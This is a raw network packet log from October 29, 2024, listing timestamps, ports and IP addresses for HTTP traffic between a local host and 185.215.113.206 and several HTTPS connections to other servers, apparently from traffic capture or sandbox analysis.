Oct 29, 2024 20:35:24.862385988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862399101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862415075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862427950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862438917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862448931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862448931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862451077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862462997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862478018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862515926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862515926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862560987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862574100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862585068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862596989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862615108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862653017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862684965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862698078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862709999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862728119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862740040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862749100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862752914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862763882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862776041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862778902 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862818003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862818003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862829924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862843037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862854958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862867117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862894058 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862894058 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862938881 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862999916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863013029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863023996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863035917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863048077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863097906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863097906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863178968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863192081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863202095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863214016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863224983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863236904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863238096 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863238096 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863275051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863275051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863482952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863504887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863516092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863583088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863667011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863678932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863691092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863702059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863713980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863727093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863730907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863738060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863750935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863753080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863765001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863785028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863795996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863806009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863806009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863806009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863816977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863826036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863826990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863840103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.863859892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.863913059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.888983965 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.892335892 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.892363071 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.892765999 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.893759966 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.893837929 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.894092083 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.929542065 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.930013895 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.930025101 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.933583021 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.933689117 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.934952021 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.935107946 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.935118914 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.939341068 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.970149040 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.970211983 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.970654964 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.975361109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975378990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975461006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975502014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975517035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975533009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975544930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975562096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975573063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975580931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975580931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975584030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975596905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975619078 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975657940 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975820065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975833893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975843906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975855112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975867033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975878000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975889921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975902081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.975933075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975933075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.975933075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976130009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976142883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976155043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976165056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976177931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976227045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976227045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976227045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976299047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976313114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976322889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976382971 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976402998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976476908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976489067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976505995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976517916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976526022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976526976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976537943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976538897 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976550102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976561069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976567030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976572037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976576090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976602077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976622105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976625919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976638079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976646900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976658106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976670027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976690054 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976721048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976799965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976810932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976821899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976830959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976841927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.976846933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976896048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.976896048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.979327917 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.979587078 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.979650021 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.979749918 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.982705116 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.982779980 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.982875109 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.982892036 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.983097076 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.999495029 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.999526978 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.999542952 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.999550104 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.004017115 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.004018068 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.004019022 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.004021883 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.004036903 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.004046917 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.004048109 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.004050016 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.012650967 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.012697935 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.012782097 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.015973091 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.015986919 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.016130924 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.016160011 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.016268015 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.016532898 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.016549110 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.018261909 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.018274069 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.018352032 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.018615007 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.018625975 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.066428900 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.067013979 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.067035913 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.068728924 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.069751024 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.069781065 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.070436954 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.070444107 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.071254969 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.071329117 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.072427988 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.072491884 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.072786093 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.072794914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.072798967 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.074325085 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.074549913 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.074561119 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.074882030 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.075273991 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.075345039 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.075424910 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.078269958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.082146883 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.083328962 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.083337069 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.084219933 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.084224939 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.114669085 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.114677906 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.114687920 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.114705086 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.114712000 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.147049904 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.147072077 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.147088051 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.147157907 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.147186041 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.147522926 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.149853945 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.149877071 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.149908066 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.149960041 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.149971008 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.150021076 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.180012941 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180047989 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180069923 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180116892 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180124044 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.180140018 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180174112 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.180187941 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180196047 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.180233002 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.180233955 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.181683064 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181703091 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181724072 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181755066 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181766987 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.181775093 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181792974 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181833029 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.181838989 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.181854010 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.181948900 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.182142973 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.182152033 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.201577902 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.203176975 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.203247070 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.209630966 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.209650040 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.209661961 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.209667921 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.215452909 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.215476990 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.215668917 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.218112946 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.218384027 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.218445063 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.218475103 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.218550920 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.219542027 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.219557047 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.220484018 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.220484018 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.220503092 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.220513105 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.224028111 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.224064112 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.224411964 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.224634886 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.224644899 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.244982004 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.245191097 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.245295048 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.253212929 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.253238916 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.256908894 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.256941080 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.257136106 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.257348061 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.257368088 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.259732008 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.259757042 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.259902954 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.259991884 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.260077000 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.261687994 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.261715889 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.261786938 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.261805058 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.261934996 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.262387991 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.262468100 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.265363932 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.265387058 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.265471935 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.265492916 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.265743017 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.294625998 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.294949055 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.294975042 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.296067953 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.296140909 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.297437906 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.297487974 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.297508001 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.297528982 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.297542095 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.297559977 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.297571898 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.297584057 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.297861099 CET	49962	443	192.168.2.5	20.125.209.212
